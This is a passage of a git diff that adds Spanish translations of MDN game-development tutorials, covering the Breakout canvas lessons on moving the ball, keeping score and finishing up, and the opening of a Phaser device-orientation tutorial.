+<p>{{Next("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it")}} </p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/mueve_la_bola/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/mueve_la_bola/index.html
new file mode 100644
index 0000000000..60a5df8c5a
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/mueve_la_bola/index.html
@@ -0,0 +1,154 @@
+---
+title: Mueve la bola
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Mueve_la_bola
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/es-ES/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls")}}</p>
+
+<div class="summary">
+<p>Este es el segundo paso de los 10 del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">tutorial de Canvas para el desarrollo de juegos</a>. Puedes encontrar el código fuente como debería quedar después de completar la lección en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson02.html">Gamedev-Canvas-workshop/lesson2.html</a>.</p>
+</div>
+
+<p><span id="result_box" lang="es"><span>Ya sabes cómo dibujar una pelota, lo has aprendido en el artículo anterior. Ahora vamos a hacer que se mueva.</span> <span>Técnicamente, estaremos pintando la pelota en la pantalla, borrándola y luego pintándola de nuevo en una posición ligeramente diferente cada fotograma para dar la impresión de movimiento, igual que se hace en las películas.</span></span></p>
+
+<p> </p>
+
+<h2 id="Definir_un_bucle_de_dibujo">Definir un bucle de dibujo</h2>
+
+<p> </p>
+
+<p><span id="result_box" lang="es"><span>Para actualizar el dibujo del lienzo en cada fotograma, necesitamos definir una función de dibujo que se ejecutará una y otra vez, cambiando una serie de variables para modificar la posición de cada personaje (sprite). Para que una misma función se ejecute una y otra vez puedes utilizar una función </span><span>de sincronización de JavaScript, como</span></span> {{domxref("WindowTimers.setInterval()", "setInterval()")}} or {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}.</p>
+
+<p><span id="result_box" lang="es"><span>Elimina todo el código JavaScript que tienes ahora mismo en de tu archivo HTML, excepto las dos primeras líneas, y añade lo siguiente debajo de ellas.</span> <span>La función draw() se ejecutará dentro de setInterval cada 10 milisegundos:</span></span></p>
+
+<pre class="brush: js">function draw() {
+    // código para dibujar
+}
+setInterval(draw, 10);</pre>
+
+<p><span id="result_box" lang="es"><span>Gracias a la naturaleza infinita de setInterval, la función draw () se llamará cada 10 milisegundos por siempre, o hasta que lo detengamos.</span> <span>Ahora, vamos a dibujar la bola. A</span></span><span lang="es"><span>grega lo siguiente dentro de tu función draw ():</span></span></p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.arc(50, 50, 10, 0, Math.PI*2);
+ctx.fillStyle = "#0095DD";
+ctx.fill();
+ctx.closePath();
+</pre>
+
+<p>Prueba tu código actualizado ahora — la bola debería repintarse en cada fotograma (frame).</p>
+
+<h2 id="Hacer_que_se_mueva">Hacer que se mueva</h2>
+
+<div id="gt-res-content">
+<div class="trans-verified-button-small" dir="ltr">Aunque la bola se está dibujando cada 10 milisegundos no se nota porque no hay movimiento, se dibuja una y otra vez en el mismo sitio.<span id="result_box" lang="es"><span>Vamos a cambiar eso.</span> <span>En primer lugar, en lugar de dibujar siempre en la posición (50, 50) definiremos un punto de inicio en la parte central inferior del lienzo en las variables llamadas x e y, a continuación, las utilizaremos para definir la posición en la que se dibuja el círculo.</span><br>
+<br>
+<span>Primero, agrega las dos líneas siguientes a la función draw (), para definir x e y:</span></span></div>
+</div>
+
+<p> </p>
+
+<pre class="brush: js">var x = canvas.width/2;
+var y = canvas.height-30;
+</pre>
+
+<p> </p>
+
+<p>A continuación actualiza la función <code>draw()</code> para usar las variables x e y en el método {{domxref("CanvasRenderingContext2D.arc()","arc()")}}, como se muestra en la siguiente línea resaltada:</p>
+
+<pre class="brush: js; highlight:[3]">function draw() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+</pre>
+
+<p><span id="result_box" lang="es"><span>Ahora viene la parte importante: queremos añadir un valor pequeño a x e y después de que cada fotograma se haya dibujado para que parezca que la pelota se está moviendo.</span> <span>Definamos estos valores pequeños como dx y dy, y establezcamos sus valores en 2 y -2 respectivamente.</span> <span>Agrega lo siguiente debajo de sus definiciones de variables x e y:</span></span></p>
+
+<pre class="brush: js">var dx = 2;
+var dy = -2;
+</pre>
+
+<p><span id="result_box" lang="es"><span>Lo último que hay que hacer es actualizar x e y con nuestras variables dx y dy en cada fotograma, de modo que la bola será pintada en la nueva posición en cada actualización.</span> <span>Agrega las dos nuevas líneas</span></span><span lang="es"><span> siguientes indicadas a continuación a la función draw ():</span></span></p>
+
+<pre class="brush: js; highlight:[7,8]">function draw() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+    x += dx;
+    y += dy;
+}</pre>
+
+<p><span id="result_box" lang="es"><span>Guarda el código de nuevo y pruébalo en tu navegador.</span> <span>Esto funciona bien, aunque parece que la bola está dejando un rastro detrás de ella:</span></span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10430/ball-trail.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="Borrar_el_lienzo_antes_de_cada_fotograma">Borrar el  lienzo antes de cada fotograma</h2>
+
+<div id="gt-res-content">
+<div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="es"><span>La bola está dejando un rastro porque estamos pintando un nuevo círculo en cada fotograma sin borrar el anterior.</span> <span>No te preocupes, porque hay un método para borrar todo el contenido de lienzo: {{domxref ("CanvasRenderingContext2D.clearRect ()", "clearRect ()")}}.</span> <span>Este método tiene cuatro parámetros: las coordenadas x e y de la esquina superior izquierda de un rectángulo y las coordenadas x e y de la esquina inferior derecha de un rectángulo.</span> En todo el área definida por ese rectángulo se borrará cualquier cosa que se haya pintado antes<span>.</span></span></div>
+</div>
+
+<div id="gt-res-tools">
+<div id="gt-res-tools-l">
+<div id="gt-pb-star"> </div>
+</div>
+</div>
+
+<p>Añade la siguiente nueva línea resaltada a la función draw():</p>
+
+<pre class="brush: js; highlight:[2]">function draw() {
+    ctx.clearRect(0, 0, canvas.width, canvas.height);
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+    x += dx;
+    y += dy;
+}
+</pre>
+
+<p><span id="result_box" lang="es"><span>Guarda tu código y vuelve a probarlo. Esta vez verás el movimiento de la bola sin dejar rastro.</span> <span>Cada 10 milisegundos se borra todo el lienzo, se dibuja el círculo azul (nuestra pelota) en una posición determinada y los valores x e y se actualizan para el siguiente fotograma.</span></span></p>
+
+<h2 id="Limpiar_el_código">Limpiar el código</h2>
+
+<p><span id="result_box" lang="es"><span>Vamos a añadir más y más comandos a la función draw () en los próximos artículos, por lo que es bueno mantenerlo lo más simple y limpio posible.</span> <span>Comencemos moviendo el código de dibujo de la bola a una función separada.</span><br>
+ <br>
+ <span>Reemplaza la función draw() con las dos funciones siguientes:</span></span></p>
+
+<pre class="brush: js">function drawBall() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+
+function draw() {
+    ctx.clearRect(0, 0, canvas.width, canvas.height);
+    drawBall();
+    x += dx;
+    y += dy;
+}</pre>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p><span id="result_box" lang="es"><span>Puedes comprobar el código terminado de este artículo en la demostración en vivo a continuación, y jugar con ella para entender mejor cómo funciona:</span></span></p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","415")}}</p>
+
+<div class="summary">
+<p>Ejercicio: intenta cambiar la velocidad de la bola en movimiento o la dirección hacia la que se mueve.</p>
+</div>
+
+<h2 id="Siguientes_pasos">Siguientes pasos</h2>
+
+<p>Hemos dibujado nuestra bola y hemos hecho que se mueva, pero cuando supera el borde del canvas, desaparece. En el tercer capítulo exploraremos como hacer que <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls">rebote en las paredes</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Create_the_Canvas_and_draw_on_it", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Bounce_off_the_walls")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/terminando/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/terminando/index.html
new file mode 100644
index 0000000000..a3bd5e2c2e
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/terminando/index.html
@@ -0,0 +1,95 @@
+---
+title: Terminando
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Terminando
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{Previous("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton")}}</p>
+
+<div class="summary">
+<p>Este es el último de los 10 pasos del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Puedes encontrar el código fuente tal y como quedará al terminar esta lección en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson10.html">Gamedev-Canvas-workshop/lesson10.html</a>.</p>
+</div>
+
+<p>Siempre es posible mejorar cualquier juego que hagamos. Por ejemplo, podemos dar vidas al jugador. Así, aunque pierda la bola una o dos veces, todavía puede intentar derribar todo el muro. También podemos mejorar los aspectos gráficos.</p>
+
+<h2 id="Dar_vidas_al_jugador">Dar vidas al jugador</h2>
+
+<p>Dar vidas es bastante sencillo. Primero, añade una variable para guardar el número de vidas que tiene en cada momento. Ponla después de las que ya tienes:</p>
+
+<pre class="brush: js">var lives = 3;</pre>
+
+<p>Mostrar por pantalla el número de vidas es prácticamente lo mismo que mostrar el contador de puntos. Añade la función siguiente detrás de la función <code>drawScore()</code>:</p>
+
+<pre class="brush: js">function drawLives() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
+}</pre>
+
+<p>En lugar de terminar el juego inmediatamente, restaremos una vida hasta que ya no quede ninguna. También podemos colocar la bola y la paleta en la posición inicial cuando el jugador empiece con la vida siguiente. En la función <code style="font-style: normal; font-weight: normal;">draw()</code> cambia las dos líneas siguientes...</p>
+
+<pre class="brush: js">alert("GAME OVER");
+document.location.reload();</pre>
+
+<p>... por estas otras:</p>
+
+<pre class="brush: js">lives--;
+if(!lives) {
+    alert("GAME OVER");
+    document.location.reload();
+}
+else {
+    x = canvas.width/2;
+    y = canvas.height-30;
+    dx = 2;
+    dy = -2;
+    paddleX = (canvas.width-paddleWidth)/2;
+}</pre>
+
+<p>Ahora, cuando la bola toca el fondo, restamos una vida. Si no queda ninguna, el jugador pierde y termina la partida. Si queda alguna, entonces colocamos la bola y la paleta en el centro, y hacemos que la bola vaya en la nueva dirección correcta y a la velocidad inicial.</p>
+
+<h3 id="Sacar_por_pantalla_el_contador_de_vidas">Sacar por pantalla el contador de vidas</h3>
+
+<p>Tienes que añadir una llamada a <code>drawLives()</code> dentro de <code>draw()</code> debajo de la llamada a <code>drawScore():</code></p>
+
+<pre class="brush: js">drawLives();
+</pre>
+
+<h2 id="Mejorar_el_refresco_con_requestAnimationFrame()">Mejorar el refresco con requestAnimationFrame()</h2>
+
+<p>Ahora vamos a ocuparnos de algo que no es particular de este juego, sino de la forma en la que se muestran las imágenes en pantalla.</p>
+
+<p>{{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} ayuda al navegador a refrescar la imagen mejor que con el método {{domxref("windowTimers.setInterval()", "setInterval()")}} que estamos utilizando. Cambia la línea siguiente...</p>
+
+<pre class="brush: js">setInterval(draw, 10);</pre>
+
+<p>...por esta otra:</p>
+
+<pre class="brush: js">draw();</pre>
+
+<p>Y, ahora, al final de la función draw(), justo antes de la llave que la cierra, añade la línea siguiente, que hará que la función <code>draw()</code> se llame a sí misma una y otra vez:</p>
+
+<pre class="brush: js">requestAnimationFrame(draw);</pre>
+
+<p>Ahora draw() se ejecuta una y otra vez con un bucle <code>requestAnimationFrame()</code> pero, en lugar de hacerlo cada 10 milisegundos, dejamos que sea el navegadro quien decida cada cuánto tiempo. El navegador sincronizará el refresco, es decir, el número de fotogramas por segundo, a lo que sea capaz la máquina que está ejecutando el juego. De este modo la animación será más eficiente y más suave que el viejo método <code>setInterval()</code>.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Ya hemos terminado. ¡La versión final del juego está lista para publicar!</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/9temh0ta/","","320")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: cambia el número de vidas y el ángulo de la trayectoria de la bola cuando golpea la paleta.</p>
+</div>
+
+<h2 id="Game_over_-_de_momento!">Game over - de momento!</h2>
+
+<p>Enhorabuena, has terminado todas las lecciones. Ya has aprendido las técnicas básicas de manipulación del &lt;canvas&gt; y la lógica que hay detrás de los juegos 2D sencillos.</p>
+
+<p>Ahora sería un buen momento para aprender a utilizar entornos de desarrollo (frameworks) y de continuar con el desarrollo de juegos. Puedes echar un vistazo a estas otra forma de realizar el mismo juego que has visto en <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a>, o de echar un vistazo al tutorial <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">Cyber Orb built in Phaser</a>. También puedes leer el contenido de <a href="https://developer.mozilla.org/en/docs/Games">Games section on MDN</a> para inspirarte y seguir aprendiendo.</p>
+
+<p>También puedes volve al <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro">índice de este tutorial</a>. ¡Diviértete programando!</p>
+
+<p>{{Previous("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton")}}</p>
diff --git a/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/track_the_score_and_win/index.html b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/track_the_score_and_win/index.html
new file mode 100644
index 0000000000..b67a730e94
--- /dev/null
+++ b/files/es/games/workflows/famoso_juego_2d_usando_javascript_puro/track_the_score_and_win/index.html
@@ -0,0 +1,92 @@
+---
+title: Poner un contador y terminar ganando
+slug: Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Track_the_score_and_win
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton")}}</p>
+
+<div class="summary">
+<p>Este es el octavo capítulo de 10, del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Puedes encontrar el código fuente como debería quedar tras este capítulo en <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson08.html">Gamedev-Canvas-workshop/lesson8.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Destruir los ladrillos mola, pero para que el juego sea aún mejor, podría dar puntos cada vez que el jugador rompe un ladrillo, y mostrar un contador.</span></p>
+
+<h2 id="El_contador">El contador</h2>
+
+<p>Si puedes ver el contador mientras juegas, puede que consigas impresionar a tus amigos. Necesitas una variable para guardar el contador. Añade esto a tu JavaScript, después de las otras definiciones de variables:</p>
+
+<pre class="brush: js">var score = 0;</pre>
+
+<p>También necesitas una función <code>drawScore()</code> para enseñar el contador por pantalla. Añade esto después de la función <code>collisionDetection()</code>:</p>
+
+<pre class="brush: js">function drawScore() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Score: "+score, 8, 20);
+}</pre>
+
+<p>Dibujar texto en el &lt;canvas&gt; es similar a dibujar un círculo o cualquier otra figura. La definición del tipo de letra (fuente) se hace igual que en CSS, puedes fijar el tamaño y fuente con el método {{domxref("CanvasRenderingContext2D.font","font()")}} method. Despúes utilizas {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} para fijar el color y {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} para escribir el texto y el lugar en el que se va a dibujar. El primer parámetro es el texto en si y los otros dos son las coordenadas.</p>
+
+<p>Para sumar un punto cada vez que se rompe un ladrillo, añade la línea que está marcada aquí debajo:</p>
+
+<pre class="brush: js; highlight:[9]">function collisionDetection() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                }
+            }
+        }
+    }
+}</pre>
+
+<p>Llamando a <code>drawScore()</code> (dibujar contador) desde la función <code>draw()</code> hace que se muestre el contador actualizado en la pantalla. Añade la línea siguiente en <code>draw()</code>, justo debajo de la llamada a <code>drawPaddle()</code>:</p>
+
+<pre class="brush: js">drawScore();</pre>
+
+<h2 id="Mostrar_un_mensaje_de_victoria_cuando_se_hayan_destruido_todos_los_ladrillos">Mostrar un mensaje de victoria cuando se hayan destruido todos los ladrillos</h2>
+
+<p>Lo de sumar puntos funciona, pero tiene un final. ¿Qué ocurrirá cuando no queden ladrillos? Precisamente ese es el principal objetivo del juego, tendrás que dibujar un mensaje de victoria. Añade las líneas marcadas a tu función <code>collisionDetection()</code>:</p>
+
+<pre class="brush: js; highlight:[10,11,12,13]">function collisionDetection() {
+    for(c=0; c&lt;brickColumnCount; c++) {
+        for(r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                    if(score == brickRowCount*brickColumnCount) {
+                        alert("YOU WIN, CONGRATULATIONS!");
+                        document.location.reload();
+                    }
+                }
+            }
+        }
+    }
+}</pre>
+
+<p>Gracias a esto, los jugadores pueden ganar cuando rompen todos los ladrillos, que es muy importante. La función <code>document.location.reload()</code> vuelve a cargar la página y el juego empieza de nuevo, una vez se hace clic sobre el botón del alert().</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes comparar tu código con este:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/mvfkcydz/","","320")}}</p>
+
+<div class="note">
+<p><strong>Ejercicio</strong>: añade más puntos por ladrillo y muestra el contador cuando salga el alert() del final del juego con victoria.</p>
+</div>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>El juego, ahora mismo, ya tiene buena pinta. En la siguiente lección conseguirás que sea más atractivo porque añadirás el <a href="https://developer.mozilla.org/es/docs/Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton">Control del ratón</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Deteccion_colisiones", "Games/Workflows/Famoso_juego_2D_usando_JavaScript_puro/Controles_raton")}}</p>
diff --git a/files/es/games/workflows/html5_gamedev_phaser_device_orientation/index.html b/files/es/games/workflows/html5_gamedev_phaser_device_orientation/index.html
new file mode 100644
index 0000000000..135193ec50
--- /dev/null
+++ b/files/es/games/workflows/html5_gamedev_phaser_device_orientation/index.html
@@ -0,0 +1,437 @@
+---
+title: >-
+  Introducción al Desarrollo de Juegos en HTML5 con Phaser y la API de
+  Orientación a Dispositivos
+slug: Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation
+tags:
+  - API Vibración
+  - API orientacion de dispositivos
+  - Canvas
+  - Desarrollo de videojuegos
+  - HTML5
+  - Phaser
+translation_of: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation
+---
+<div>{{GamesSidebar}}</div><p>{{ draft() }}</p>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p><span style="line-height: 1.5;">En este tutorial iremos a través del proceso de construcción de un juego en HTML5 para móviles que utilizará las <em>APIs</em> de <a href="https://developer.mozilla.org/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Orientación para Dispositivos</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/Vibration">Vibración</a> para mejorar la jugabilidad y estará construido utilizando el <em>framework</em> <a href="http://phaser.io/">Phaser</a>. Se recomienda tener conocimientos básicos de JavaScript para sacar mayor provecho a este tutorial.</span></p>
+
+<h2 id="Ejemplo"><span style="line-height: 1.5;">Ejemplo</span></h2>
+
+<p><span style="line-height: 1.5;">Al finalizar este tutorial tendrás un juego <em>demo</em> completamente funcional: <a href="http://orb.enclavegames.com/">Cyber Orb</a>. Se verá más o menos así:</span></p>
+
+<p><span style="line-height: 1.5;"><img alt="" src="https://mdn.mozillademos.org/files/10297/cyber-orb.png" style="display: block; height: 450px; margin: 0px auto; width: 300px;"></span></p>
+
+<h2 id="Phaser_framework">Phaser framework</h2>
+
+<p><a href="http://phaser.io/">Phaser</a> es un <em>framework</em> para construir juegos, de móvil o escritorio, en HTML5 . Es nuevo pero está creciendo velozmente gracias a la apasionada comunidad involucrada en el proceso de desarrollo. Puedes chequearlo <a href="https://github.com/photonstorm/phaser">en GitHub</a> donde se encuentra como <em>open source. </em>Lee <a href="http://docs.phaser.io/">la documentación</a> en línea y recorre su gran colección de <a href="http://examples.phaser.io/">ejemplos</a>. El <em>framework</em> Phaser provee una serie de herramientas que acelerarán el desarrollo y te ayudaran a manejar las tareas genéricas necesarias para completar tu juego, para que así puedas concentrarte en la idea del juego en sí.</p>
+
+<h2 id="Empezando_con_el_proyecto">Empezando con el proyecto</h2>
+
+<p>Puedes ver <a href="https://github.com/EnclaveGames/Cyber-Orb">el código fuente de Cyber Orb</a> en GitHub. <span style="line-height: 1.5;">La estructura de carpetas no es nada complicada: </span><span style="line-height: 1.5;">el punto de partida es el archivo </span><code>index.html</code><span style="line-height: 1.5;"> donde inicializaremos el <em>framework</em> y </span><span style="line-height: 1.5;">configuraremos el canvas donde correrá el juego.</span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10357/cyber-orb-github.png" style="display: block; height: 423px; width: 620px;"></p>
+
+<p><span style="line-height: 1.5;">Puedes hacer clic en el archivo index desde tu navegador favorito para iniciar el juego y probarlo. </span><span style="line-height: 1.5;">También hay tres carpetas en el directorio: </span></p>
+
+<ul>
+ <li><span style="line-height: 1.5;"><code>img</code></span>: Todas las imágenes que usaremos en el juego.</li>
+ <li><span style="line-height: 1.5;"><code>src</code></span>: Los archivos JavaScript que contienen todo el código fuente del juego definido dentro.</li>
+ <li><span style="line-height: 1.5;"><code>audio</code>:</span> Los archivos de sonido usados en el juego.</li>
+</ul>
+
+<h2 id="Configurando_el_canvas">Configurando el canvas</h2>
+
+<p>Vamos a renderizar nuestro juego sobre el elemento <code>&lt;canvas&gt;</code>, pero no lo haremos manualmente  — de esto se ocupará el <em>framework. </em> Vamos a configurarlo: nuestro punto de partida es el archivo <code>index.html</code> con el siguiente contenido. Puedes crearlo tú mismo si quieres hacer un seguimiento más detallado:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8" /&gt;
+    &lt;title&gt;Cyber Orb&lt;/title&gt;
+    &lt;style&gt; body { margin: 0; background: #333; } &lt;/style&gt;
+    &lt;script src="src/phaser.min.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Boot.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Preloader.js"&gt;&lt;/script&gt;
+    &lt;script src="src/MainMenu.js"&gt;&lt;/script&gt;
+    &lt;script src="src/Game.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;script&gt;
+(function() {
+    var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
+    game.state.add('Boot', Ball.Boot);
+    game.state.add('Preloader', Ball.Preloader);
+    game.state.add('MainMenu', Ball.MainMenu);
+    game.state.add('Game', Ball.Game);
+    game.state.start('Boot');
+})();
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><span style="line-height: 1.5;">Hasta ahora tenemos una simple página web </span><code>HTML</code><span style="line-height: 1.5;"> con el contenido básico en la sección </span><code>&lt;head&gt;</code><span style="line-height: 1.5;">: configuración de caracteres, título, estilo y las inclusión de los archivos JavaScripts. El </span><code>&lt;body&gt;</code><span style="line-height: 1.5;"> contiene la inicialización del framework Phaser y las definiciones del estado del juego.</span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> game <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Phaser<span class="punctuation token">.</span>Game</span><span class="punctuation token">(</span><span class="number token">320</span><span class="punctuation token">,</span> <span class="number token">480</span><span class="punctuation token">,</span> Phaser<span class="punctuation token">.</span>CANVAS<span class="punctuation token">,</span> <span class="string token">'game'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>La linea de arriba inicializará la intancia de Phaser — los argumentos son el ancho del <code>&lt;canvas&gt;</code>, su altura, el método de renderizado (estamos utilizando <code>CANVAS</code> pero también existen disponibles las opciones <code>WEBGL</code> y <code>AUTO</code>) y el ID opcional del contenedor DOM en el que queremos poner el <code>&lt;canvas&gt;</code>. Si no hay nada especificado en el último argumento o el elemento no es encontrado, el <code>&lt;canvas&gt;</code> será añadido a la etiqueta <code>&lt;body&gt;</code>. Sin el <em>framework </em>para añadir el elemento canvas hubieses tenido que escribir algo como esto dentro de la etiqueta <code>&lt;body&gt;</code>:</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>game<span class="punctuation token">'</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>320<span class="punctuation token">'</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>480<span class="punctuation token">'</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Es importante recordar que el <em>framework</em> está montando métodos útiles para acelerar un montón de cosas como la manipulación de imagenes o la administración de elementos, que serían más difíciles si tuvieramos que hacerlo manualmente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes leer este artículo: "<a href="http://gamedevelopment.tutsplus.com/tutorials/getting-started-with-phaser-building-monster-wants-candy--cms-21723">Building Monster Wants Candy</a>" para una introducción en profundidad a las funciones y métodos específicos de Phaser.</p>
+</div>
+
+<p>Volviendo a los estados del juego: La linea de abajo añade un nuevo estado al juego llamado <code>Boot</code>:</p>
+
+<pre class="brush: js"><code class="language-html">game.state.add('Boot', Ball.Boot);</code></pre>
+
+<p>El primer valor es el nombre del estado, el segundo es el objeto al que queremos asignárselo. El metodo <code>start</code> está iniciando el estado dado y haciendolo activo. Veamos qué es lo que son los estados realmente.</p>
+
+<pre class="brush: html"> </pre>
+
+<h2 id="Gestionando_los_estados_de_juego">Gestionando los estados de juego</h2>
+
+<p>Los estados en Phaser son partes separadas de la lógica del juego, en nuestro caso los estamos cargando de archivos JavaScript independientes para un mejor mantenimiento. En este juego tenemos estados básicos: <code>Boot</code>, <code>Preloader</code>, <code>MainMenu</code>, <code>Howto</code> y <code>Game</code>. <code>Boot</code> se hará cargo de la inicialización de algunas opciones de configuración, <code>Preloader</code> cargará todos los elementos utilizados como los gráficos y el audio, <code>MainMenu</code> es el menu con el botón de inicio, <code>Howto</code> muestra las intrucciones de cómo jugar y el estado <code>Game</code> es el que finalmente te permite jugar el juego. Veamos rapidamente el contenido de esos estados.</p>
+
+<h3 id="Boot.js">Boot.js</h3>
+
+<p>El estado <code>Boot</code> es el primero en el juego.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Ball <span class="operator token">=</span> <span class="punctuation token">{</span>
+    _WIDTH<span class="punctuation token">:</span> <span class="number token">320</span><span class="punctuation token">,</span>
+    _HEIGHT<span class="punctuation token">:</span> <span class="number token">480</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
